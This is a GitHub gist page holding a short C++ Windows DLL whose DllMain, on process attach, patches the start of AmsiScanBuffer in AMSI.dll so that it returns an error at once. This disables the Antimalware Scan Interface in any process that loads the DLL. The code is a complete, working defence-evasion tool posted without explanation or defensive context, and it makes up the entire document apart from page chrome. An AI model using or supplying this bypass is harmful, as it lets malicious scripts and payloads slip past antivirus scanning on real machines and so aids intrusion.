Skip to content

Instantly share code, notes, and snippets.

@Philts
Created September 12, 2019 11:24
Show Gist options
  • Save Philts/95816873c24feb5a305c67e4c3b95261 to your computer and use it in GitHub Desktop.
Save Philts/95816873c24feb5a305c67e4c3b95261 to your computer and use it in GitHub Desktop.
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
auto dllHandle = LoadLibrary("AMSI.dll");
void* AmsiScanbufferAddr = (void*)GetProcAddress(dllHandle, "AmsiScanBuffer");
DWORD oldProtection;
BOOL vpRet = VirtualProtect(AmsiScanbufferAddr, 0x0015, 0x40, &oldProtection);
if (!vpRet){
return FALSE;
}
BYTE patch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
memcpy((void*)((UINT64)AmsiScanbufferAddr), (void*)patch,sizeof(patch));
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment